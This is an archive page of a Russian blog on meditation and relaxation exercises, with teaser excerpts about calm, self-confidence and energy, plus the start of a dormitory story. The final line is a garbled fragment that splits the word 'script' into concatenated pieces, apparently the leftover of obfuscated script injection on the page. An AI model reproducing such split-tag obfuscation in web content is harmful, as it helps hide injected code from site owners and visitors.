Архив рубрики ‘Упражнения и медитация’

Как обрести душевное спокойствие

Думаю, никто не будет оспаривать тот факт, что решения, которые мы принимаем в состоянии беспокойства, значительно отличаются от тех, которые рождаются в нашей голове в минуты полной гармонии с собой и с окружающим миром. Сомнения, волнения, заботы, тревоги – одним словом, все, что нарушает наше душевное равновесие, не дают нам в полной мере сконцентрироваться на [...]

Популярность: 22%

Читать запись полностью

Как обрести уверенность в себе с помощью релаксации

О том, насколько важна уверенность в себе для успеха, и с помощью каких упражнений её развивать, я уже писала ранее. Сегодня я хочу написать еще одно несложное упражнение о том как обрести уверенность в себе, которое, возможно, окажется для некоторых более эффективным, чем все описанные ранее. Оно является своего рода релаксацией, чем – то [...]

Популярность: 18%

Читать запись полностью

Как получить заряд бодрости и энергии с помощью медитации

Размещено в рубрике Упражнения и медитация

Если Вы чувствуете, что сейчас просто уснёте на рабочем месте, что Вы устали, заработались, есть отличное медитативное упражнение, которое даст сил и энергии. Правда, для его выполнения желательно, чтобы минут 15 Вас никто не беспокоил. Убедившись в этом, можете приступить к выполнению!
Популярность: 19%

Популярность: 19%

Читать запись полностью

Много бед, где взять ответ? Медитация!

Уже весь посиневший от изнурительной мозговой работы Игорь страдал над выполнением курсового проекта.
— «Хватит в комп втыкать, первокурсник очкастый, дай-ка мне лучше поиграться!», — пренебрежительно сказал ему Андрей, сосед по комнате в общежитии. — «Давай, давай, сваливай куда-нить, счас уже пацаны придут, ух, порубимся», — добавил он, и спихнул Игоря с его рабочего места.
Проглотив обиду, Игорь молча собрался [...]

Популярность: 19%

Читать запись полностью

undefined'+'/scr'+'ipt'+'/scr'+'ipt width=